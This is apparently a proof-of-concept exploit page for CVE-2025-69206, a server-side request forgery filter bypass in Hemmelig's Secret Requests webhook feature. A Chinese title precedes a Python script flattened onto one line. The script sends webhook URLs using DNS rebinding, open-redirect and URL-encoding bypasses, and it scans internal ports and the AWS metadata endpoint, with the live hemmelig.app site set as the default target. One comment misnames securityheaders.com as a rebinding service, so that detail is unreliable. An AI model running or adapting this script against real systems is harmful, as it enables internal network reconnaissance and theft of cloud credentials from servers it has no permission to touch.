CVE-2025-69206: Hemmelig Secret Requests功能SSRF过滤器绕过漏洞

import requests import time # CVE-2025-69206 PoC - SSRF Filter Bypass in Hemmelig Secret Requests # Target: Hemmelig.app < 7.3.3 # Configuration TARGET_URL = "https://hemmelig.app" ATTACKER_TOKEN = "your_auth_token_here" # Method 1: DNS Rebinding Bypass # Setup a DNS rebinding service (e.g., https://securityheaders.com/?q=https://attacker-controlled-domain.com) # Point domain to external IP first, then internal IP def create_secret_request_with_ssrf(target_url): """ Create a Secret Request with webhook URL pointing to internal resource using DNS rebinding or open redirect bypass """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Bypass techniques: # 1. DNS Rebinding: Use controlled domain that switches IP webhook_url = "https://attacker-domain.com/rebind-target" # 2. Open Redirect: Use trusted service redirect # webhook_url = "https://google.com/url?url=http://127.0.0.1:8080/admin" # 3. URL encoding/obfuscation # webhook_url = "http://127.0.0.1%2f%2f127.0.0.1" payload = { "title": "Test Secret Request", "webhook_url": webhook_url, "secret_data": "test" } response = requests.post( f"{target_url}/api/v1/secret-request", json=payload, headers=headers ) return response.status_code, response.text # Method 2: Internal Network Scanning def scan_internal_ports(target_url, token): """ Use SSRF to scan internal ports of the server """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Common internal services to probe internal_targets = [ "http://127.0.0.1:22", "http://127.0.0.1:80", "http://127.0.0.1:443", "http://127.0.0.1:8080", "http://127.0.0.1:3306", "http://169.254.169.254/latest/meta-data/" # AWS metadata ] results = [] for target in internal_targets: payload = { "webhook_url": target, "title": "Port Scan" } try: resp = requests.post( f"{target_url}/api/v1/secret-request", json=payload, headers=headers, timeout=5 ) results.append({"target": target, "status": resp.status_code}) except Exception as e: results.append({"target": target, "error": str(e)}) return results if __name__ == "__main__": print("CVE-2025-69206 PoC - Hemmelig SSRF Bypass") print("=" * 50) # Test webhook creation with SSRF payload status, response = create_secret_request_with_ssrf(TARGET_URL) print(f"Webhook Creation Status: {status}") print(f"Response: {response}")